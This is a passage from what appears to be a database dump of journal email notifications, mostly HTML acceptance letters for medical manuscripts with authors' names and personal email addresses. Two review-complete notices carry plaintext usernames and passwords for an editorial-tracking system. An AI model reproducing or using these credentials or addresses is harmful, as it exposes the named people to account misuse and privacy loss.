<b>Asare</b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>Health Science Journal</b>.<br />\r\n            <br />\r\n            It is accepted on  <b>2022-01-27</b><br />\r\n            <br />\r\n            <div style=\"border:3px solid #009933; padding: 5px;\">Congratulations on acceptance of the article. Our finance team will contact you with the galley proof and invoice within 48-72hrs.  Please mail us at <b><a href=\"mailto:finance@galleyproofs.com\">finance@galleyproofs.com</a></b> for further queries by copying/marking Cc to the journal mail id.</div>\r\n            <br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.hsj.gr/\">Health Science Journal</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','asareor@gmail.com',12284,'2022-01-28',48),(4066,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>iphsj-22-12284</b><br />\r\n            <br />\r\n            Article Title: <b>Socio-Demographic and Other Determinants of Teen Pregnancies in the Tamale Metropolis: A Community-Based Unmatched Case-Control Study</b><br />\r\n            <br />\r\n            Journal Title: <b><a href=\"https://www.hsj.gr/\" target=\"_blank\">Health Science Journal</a></b><br />\r\n            <br />\r\n            Dear Dr. <b>Asare</b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>Health Science Journal</b>.<br />\r\n            <br />\r\n            It is accepted on  <b>2022-01-27</b><br />\r\n            <br />\r\n            <div style=\"border:3px solid #009933; padding: 5px;\">Congratulations on acceptance of the article. Our finance team will contact you with the galley proof and invoice within 48-72hrs.  Please mail us at <b><a href=\"mailto:finance@galleyproofs.com\">finance@galleyproofs.com</a></b> for further queries by copying/marking Cc to the journal mail id.</div>\r\n            <br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.hsj.gr/\">Health Science Journal</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','asareor@gmail.com',12284,'2022-01-28',48),(4067,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>iphsj-22-12279</b><br />\r\n            <br />\r\n            Article Title: <b>Electromyographic Activity and Neuromuscular Efficiency of the Internal Oblique Muscle in Pilates Practitioners</b><br />\r\n            <br />\r\n            Journal Title: <b><a href=\"https://www.hsj.gr/\" target=\"_blank\">Health Science Journal</a></b><br />\r\n            <br />\r\n            Dear Dr. <b>Panhan</b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>Health Science Journal</b>.<br />\r\n            <br />\r\n            It is accepted on  <b>2022-01-27</b><br />\r\n            <br />\r\n            <div style=\"border:3px solid #009933; padding: 5px;\">Congratulations on acceptance of the article. Our finance team will contact you with the galley proof and invoice within 48-72hrs.  Please mail us at <b><a href=\"mailto:finance@galleyproofs.com\">finance@galleyproofs.com</a></b> for further queries by copying/marking Cc to the journal mail id.</div>\r\n            <br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.hsj.gr/\">Health Science Journal</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','carol_panhan@hotmail.com',12279,'2022-01-28',48),(4068,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>iphsj-22-12267</b><br />\r\n            <br />\r\n            Article Title: <b>Survival and Predictors of mortality among HIV infected adults receiving ART in Hawassa comprehensive specialized hospital, Sidama regional state, Ethiopia: A 5 years retrospective Cohort Study.</b><br />\r\n            <br />\r\n            Journal Title: <b><a href=\"https://www.hsj.gr/\" target=\"_blank\">Health Science Journal</a></b><br />\r\n            <br />\r\n            Dear Dr. <b>Anjulo</b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>Health Science Journal</b>.<br />\r\n            <br />\r\n            It is accepted on  <b>2022-01-27</b><br />\r\n            <br />\r\n            <div style=\"border:3px solid #009933; padding: 5px;\">Congratulations on acceptance of the article. Our finance team will contact you with the galley proof and invoice within 48-72hrs.  Please mail us at <b><a href=\"mailto:finance@galleyproofs.com\">finance@galleyproofs.com</a></b> for further queries by copying/marking Cc to the journal mail id.</div>\r\n            <br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.hsj.gr/\">Health Science Journal</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','barjuda@gmail.com',12267,'2022-01-28',48),(4069,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>iphsj-22-12267</b><br />\r\n            <br />\r\n            Article Title: <b>Survival and Predictors of mortality among HIV infected adults receiving ART in Hawassa comprehensive specialized hospital, Sidama regional state, Ethiopia: A 5 years retrospective Cohort Study.</b><br />\r\n            <br />\r\n            Journal Title: <b><a href=\"https://www.hsj.gr/\" target=\"_blank\">Health Science Journal</a></b><br />\r\n            <br />\r\n            Dear Dr. <b>Anjulo</b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>Health Science Journal</b>.<br />\r\n            <br />\r\n            It is accepted on  <b>2022-01-27</b><br />\r\n            <br />\r\n            <div style=\"border:3px solid #009933; padding: 5px;\">Congratulations on acceptance of the article. Our finance team will contact you with the galley proof and invoice within 48-72hrs.  Please mail us at <b><a href=\"mailto:finance@galleyproofs.com\">finance@galleyproofs.com</a></b> for further queries by copying/marking Cc to the journal mail id.</div>\r\n            <br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.hsj.gr/\">Health Science Journal</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','barjuda@gmail.com',12267,'2022-01-28',48),(4070,'<table style=\"border:3px solid #cccccc\" width=\"663\" height=\"90\" cellspacing=\"4\" cellpadding=\"4\" border=\"0\" bgcolor=\"#ffffff\" align=\"center\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\" align=\"left\"><br />\r\n            Ref.:  Ms. No.  <b>ipjnn-21-11193</b><br />\r\n            <br />\r\n            Article Title: <b>CASE REPORT: AN INTERESTING CASE OF INTRACRANIAL TUBERCULOMA WITH SPINAL TUBERCULOUS SPONDYLITIS IN A PATIENT with MUSCULAR DYSTROPHY</b><br />\r\n            <br />\r\n            Journal Title: <b><a href=\"https://www.jneuro.com/\" target=\"_blank\">Journal of Neurology and Neuroscience</a></b><br />\r\n            <br />\r\n            Dear Dr. <b>kalyani</b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>Journal of Neurology and Neuroscience</b>.<br />\r\n            <br />\r\n            It is accepted on  <b>2022-01-21</b><br />\r\n            <br />\r\n            <div style=\"border:3px solid #009933; padding: 5px;\">Congratulations on acceptance of the article. Our finance team will contact you with the galley proof and invoice within 48-72hrs.  Please mail us at <b><a href=\"mailto:invoiceproof@galleyproofs.com\">invoiceproof@galleyproofs.com</a></b> for further queries by copying/marking Cc to the journal mail id.</div>\r\n            <br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.jneuro.com/\">Journal of Neurology and Neuroscience</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','jasminekalyani31@gmail.com',11193,'2022-02-04',75),(4071,'<table style=\"border:3px solid #cccccc\" width=\"663\" height=\"90\" cellspacing=\"4\" cellpadding=\"4\" border=\"0\" bgcolor=\"#ffffff\" align=\"center\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\" align=\"left\"><br />\r\n            Ref.:  Ms. No.  <b>ipjnn-21-12103</b><br />\r\n            <br />\r\n            Article Title: <b>Antipsychotic-induced changes in blood levels of leptin and ghrelin in schizophrenia: a short-term prospective study </b><br />\r\n            <br />\r\n            Journal Title: <b><a href=\"https://www.jneuro.com/\" target=\"_blank\">Journal of Neurology and Neuroscience</a></b><br />\r\n            <br />\r\n            Dear Dr. <b>Osman</b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>Journal of Neurology and Neuroscience</b>.<br />\r\n            <br />\r\n            It is accepted on  <b>2022-01-25</b><br />\r\n            <br />\r\n            <div style=\"border:3px solid #009933; padding: 5px;\">Congratulations on acceptance of the article. Our finance team will contact you with the galley proof and invoice within 48-72hrs.  Please mail us at <b><a href=\"mailto:invoiceproof@galleyproofs.com\">invoiceproof@galleyproofs.com</a></b> for further queries by copying/marking Cc to the journal mail id.</div>\r\n            <br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.jneuro.com/\">Journal of Neurology and Neuroscience</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','waleedabudhabi@hotmail.com',12103,'2022-02-04',75),(4075,'<table style=\"border:3px solid #cccccc\" width=\"663\" height=\"90\" cellspacing=\"4\" cellpadding=\"4\" border=\"0\" bgcolor=\"#ffffff\" align=\"center\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\" align=\"left\"><br />\r\n            Ref.:  Ms. No.  <b>ipjnn-22-12278</b><br />\r\n            <br />\r\n            Article Title: <b>Recurrent intracranial meningioma with pulmonary metastases </b><br />\r\n            <br />\r\n            Journal Title: <b><a href=\"https://www.jneuro.com/\" target=\"_blank\">Journal of Neurology and Neuroscience</a></b><br />\r\n            <br />\r\n            <strong>Dear Dr. </strong><b>Mousli</b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>Journal of Neurology and Neuroscience</b>.<br />\r\n            <br />\r\n            It is accepted on  <b>2022-01-25</b><br />\r\n            <br />\r\n            <div style=\"border:3px solid #009933; padding: 5px;\">Congratulations on acceptance of the article. Our finance team will contact you with the galley proof and invoice within 48-72hrs.  Please mail us at <b><a href=\"mailto:invoiceproof@galleyproofs.com\">invoiceproof@galleyproofs.com</a></b> for further queries by copying/marking Cc to the journal mail id.</div>\r\n            <br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.jneuro.com/\">Journal of Neurology and Neuroscience</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','alia_1709@live.fr',12278,'2022-02-05',75),(4076,'<table style=\"border:3px solid #cccccc\" width=\"663\" height=\"90\" cellspacing=\"4\" cellpadding=\"4\" border=\"0\" bgcolor=\"#ffffff\" align=\"center\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\" align=\"left\"><br />\r\n            Ref.:  Ms. No.  <b>ipjnn-22-12278</b><br />\r\n            <br />\r\n            Article Title: <b>Recurrent intracranial meningioma with pulmonary metastases </b><br />\r\n            <br />\r\n            Journal Title: <b><a href=\"https://www.jneuro.com/\" target=\"_blank\">Journal of Neurology and Neuroscience</a></b><br />\r\n            <br />\r\n            <strong>Dear Dr. </strong><b>Mousli</b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>Journal of Neurology and Neuroscience</b>.<br />\r\n            <br />\r\n            It is accepted on  <b>2022-01-25</b><br />\r\n            <br />\r\n            <div style=\"border:3px solid #009933; padding: 5px;\">Congratulations on acceptance of the article. Our finance team will contact you with the galley proof and invoice within 48-72hrs.  Please mail us at <b><a href=\"mailto:invoiceproof@galleyproofs.com\">invoiceproof@galleyproofs.com</a></b> for further queries by copying/marking Cc to the journal mail id.</div>\r\n            <br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.jneuro.com/\">Journal of Neurology and Neuroscience</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','alia_1709@live.fr',12278,'2022-02-05',75),(4077,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ipjnn-22-12328</b><br />\r\n            <br />\r\n            Article Title: <b>Uveitis and acute myelitis after COVID-19</b><br />\r\n            <br />\r\n            Journal Title: <b><a href=\"https://www.jneuro.com/\" target=\"_blank\">Journal of Neurology and Neuroscience</a></b><br />\r\n            <br />\r\n            Dear Dr. <b>Mhiri, Gouta, Ben Dhia, Aissi, Frih-Ayed</b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>Journal of Neurology and Neuroscience</b>.<br />\r\n            <br />\r\n            It is accepted on  <b>2022-02-16</b><br />\r\n            <br />\r\n            <div style=\"border:3px solid #009933; padding: 5px;\">Congratulations on acceptance of the article. Our finance team will contact you with the galley proof and invoice within 48-72hrs.  Please mail us at <b><a href=\"mailto:invoiceproof@galleyproofs.com\">invoiceproof@galleyproofs.com</a></b> for further queries by copying/marking Cc to the journal mail id.</div>\r\n            <br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.jneuro.com/\">Journal of Neurology and Neuroscience</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','mariemmhiri@yahoo.com',12328,'2022-02-17',75),(4078,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ipaclr-21-12013</b><br />\r\n            <br />\r\n            Article Title: <b>IgA-IgA biclonal gammopathy of undetermined significance: A case report and review of the literature.</b><br />\r\n            <br />\r\n            Corresponding Author: <b>Ibtissam MHIRIG Abderrahman BOUKHIRA</b><br />\r\n            <br />\r\n            Journal Title: <b>Annals of Clinical and Laboratory Research</b><br />\r\n            <br />\r\n            Dear Dr. <b>mohammed</b><br />\r\n            <br />\r\n            All reviews for manuscript <b>ipaclr-21-12013</b> have been submitted<br />\r\n            <br />\r\n            Please click on this link to access the submission : <a href=\"https://www.imedpub.com/editorial-tracking/\">https://www.imedpub.com/editorial-tracking/</a>, Please find the below login credentials<br />\r\n            <br />\r\n            <b>User Name:</b> musab<br />\r\n            <b>Password:</b> Veyf1bvy<br />\r\n            <br />\r\n            Kind regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.aclr.com.es/\">Annals of Clinical and Laboratory Research</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',2,'Editor Notice All Reviews Complete','musab.noor13@gmail.com',12013,'2022-02-22',984),(4079,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ipjnn-22-12348</b><br />\r\n            <br />\r\n            Article Title: <b>THE PREVALENCE OF VITAMIN D DEFICIENCY IN MIGRAINE HEADACHE PATIENTS &amp; ITS RESPONSE TO VITAMIN D REPLACEMENT IN DEFICIENT PATIENTS</b><br />\r\n            <br />\r\n            Journal Title: <b><a href=\"https://www.jneuro.com/\" target=\"_blank\">Journal of Neurology and Neuroscience</a></b><br />\r\n            <br />\r\n            Dear Dr. <b>Puppala</b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>Journal of Neurology and Neuroscience</b>.<br />\r\n            <br />\r\n            It is accepted on  <b>2022-02-22</b><br />\r\n            <br />\r\n            <div style=\"border:3px solid #009933; padding: 5px;\">Congratulations on acceptance of the article. Our finance team will contact you with the galley proof and invoice within 48-72hrs.  Please mail us at <b><a href=\"mailto:invoiceproof@galleyproofs.com\">invoiceproof@galleyproofs.com</a></b> for further queries by copying/marking Cc to the journal mail id.</div>\r\n            <br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.jneuro.com/\">Journal of Neurology and Neuroscience</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','sumirini@ymail.com',12348,'2022-02-23',75),(4080,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ipaclr-21-12013</b><br />\r\n            <br />\r\n            Article Title: <b>IgA-IgA biclonal gammopathy of undetermined significance: A case report and review of the literature.</b><br />\r\n            <br />\r\n            Journal Title: <b><a href=\"https://www.aclr.com.es/\" target=\"_blank\">Annals of Clinical and Laboratory Research</a></b><br />\r\n            <br />\r\n            Dear Dr. <b>Abderrahman BOUKHIRA</b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>Annals of Clinical and Laboratory Research</b>.<br />\r\n            <br />\r\n            It is accepted on  <b>2022-02-23</b><br />\r\n            <br />\r\n            <div style=\"border:3px solid #009933; padding: 5px;\">Congratulations on acceptance of the article. Our finance team will contact you with the galley proof and invoice within 48-72hrs.  Please mail us at <b><a href=\"mailto:accounting@galleyproofs.com\">accounting@galleyproofs.com</a></b> for further queries by copying/marking Cc to the journal mail id.</div>\r\n            <br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.aclr.com.es/\">Annals of Clinical and Laboratory Research</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','ibtissam96mhirig@gmail.com',12013,'2022-02-24',984),(4081,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ipjnn-22-12394</b><br />\r\n            <br />\r\n            Article Title: <b>Hypothermia as a Treatment option for Intra and post Ischemic stroke.</b><br />\r\n            <br />\r\n            Journal Title: <b><a href=\"https://www.jneuro.com/\" target=\"_blank\">Journal of Neurology and Neuroscience</a></b><br />\r\n            <br />\r\n            Dear Dr. <b>Mathur</b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>Journal of Neurology and Neuroscience</b>.<br />\r\n            <br />\r\n            It is accepted on  <b>2022-02-24</b><br />\r\n            <br />\r\n            <div style=\"border:3px solid #009933; padding: 5px;\">Congratulations on acceptance of the article. Our finance team will contact you with the galley proof and invoice within 48-72hrs.  Please mail us at <b><a href=\"mailto:invoiceproof@galleyproofs.com\">invoiceproof@galleyproofs.com</a></b> for further queries by copying/marking Cc to the journal mail id.</div>\r\n            <br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.jneuro.com/\">Journal of Neurology and Neuroscience</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','drmanik@pm.me',12394,'2022-02-24',75),(4082,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ipjnn-22-12491</b><br />\r\n            <br />\r\n            Article Title: <b>Descending GBS &acirc;&euro;&ldquo; a unique presentation </b><br />\r\n            <br />\r\n            Journal Title: <b><a href=\"https://www.jneuro.com/\" target=\"_blank\">Journal of Neurology and Neuroscience</a></b><br />\r\n            <br />\r\n            Dear Dr. <b>Shivute</b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>Journal of Neurology and Neuroscience</b>.<br />\r\n            <br />\r\n            It is accepted on  <b>2022-03-03</b><br />\r\n            <br />\r\n            <div style=\"border:3px solid #009933; padding: 5px;\">Congratulations on acceptance of the article. Our finance team will contact you with the galley proof and invoice within 48-72hrs.  Please mail us at <b><a href=\"mailto:invoiceproof@galleyproofs.com\">invoiceproof@galleyproofs.com</a></b> for further queries by copying/marking Cc to the journal mail id.</div>\r\n            <br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.jneuro.com/\">Journal of Neurology and Neuroscience</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','rosaliashivute@gmail.com',12491,'2022-03-03',75),(4083,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ipjnn-22-12493</b><br />\r\n            <br />\r\n            Article Title: <b>Reproductive health, social and financial impact of valproic acid Withdrawal for childbearing epileptic Saudi woman</b><br />\r\n            <br />\r\n            Corresponding Author: <b>Narjes mokni</b><br />\r\n            <br />\r\n            Journal Title: <b>Journal of Neurology and Neuroscience</b><br />\r\n            <br />\r\n            Dear Dr. <b>Rubinstein</b><br />\r\n            <br />\r\n            All reviews for manuscript <b>ipjnn-22-12493</b> have been submitted<br />\r\n            <br />\r\n            Please click on this link to access the submission : <a href=\"https://www.imedpub.com/editorial-tracking/\">https://www.imedpub.com/editorial-tracking/</a>, Please find the below login credentials<br />\r\n            <br />\r\n            <b>User Name:</b> carlos<br />\r\n            <b>Password:</b> NCAf3sEi<br />\r\n            <br />\r\n            Kind regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.jneuro.com/\">Journal of Neurology and Neuroscience</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',2,'Editor Notice All Reviews Complete','rubidoc@gmail.com',12493,'2022-03-07',75),(4084,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ipjnn-22-12493</b><br />\r\n            <br />\r\n            Article Title: <b>Reproductive health, social and financial impact of valproic acid Withdrawal for childbearing epileptic Saudi woman</b><br />\r\n            <br />\r\n            Journal Title: <b><a href=\"https://www.jneuro.com/\" target=\"_blank\">Journal of Neurology and Neuroscience</a></b><br />\r\n            <br />\r\n            Dear Dr. <b>mokni</b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>Journal of Neurology and Neuroscience</b>.<br />\r\n            <br />\r\n            It is accepted on  <b>2022-03-07</b><br />\r\n            <br />\r\n            <div style=\"border:3px solid #009933; padding: 5px;\">Congratulations on acceptance of the article. Our finance team will contact you with the galley proof and invoice within 48-72hrs.  Please mail us at <b><a href=\"mailto:invoiceproof@galleyproofs.com\">invoiceproof@galleyproofs.com</a></b> for further queries by copying/marking Cc to the journal mail id.</div>\r\n            <br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.jneuro.com/\">Journal of Neurology and Neuroscience</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','narjes.mm@gmail.com',12493,'2022-03-07',75),(4085,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">IT Medical Team</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ipaclr-22-12548</b><br />\r\n            <br />\r\n            Article Title: <b>Simultaneous determination of homocysteine, cysteine, glycine, glutamic acid, methionine, serine and taurine in human plasma by using reverse phase &acirc;&euro;&ldquo; high performance liquid chromatography </b><br />\r\n            <br />\r\n            Journal Title: <b><a href=\"https://www.itmedicalteam.pl/annals-of-clinical-and-laboratory-research.html\" target=\"_blank\">Annals of Clinical and Laboratory Research</a></b><br />\r\n            <br />\r\n            Dear Dr. <b>Muthuvel</b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>Annals of Clinical and Laboratory Research</b>.<br />\r\n            <br />\r\n            It is accepted on  <b>2022-04-30</b><br />\r\n            <br />\r\n            <div style=\"border:3px solid #009933; padding: 5px;\">Congratulations on acceptance of the article. Our finance team will contact you with the galley proof and invoice within 48-72hrs.  Please mail us at <b><a href=\"mailto:accounting@galleyproofs.com\">accounting@galleyproofs.com</a></b> for further queries by copying/marking Cc to the journal mail id.</div>\r\n            <br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.itmedicalteam.pl/annals-of-clinical-and-laboratory-research.html\">Annals of Clinical and Laboratory Research</a></b></td>\r\n        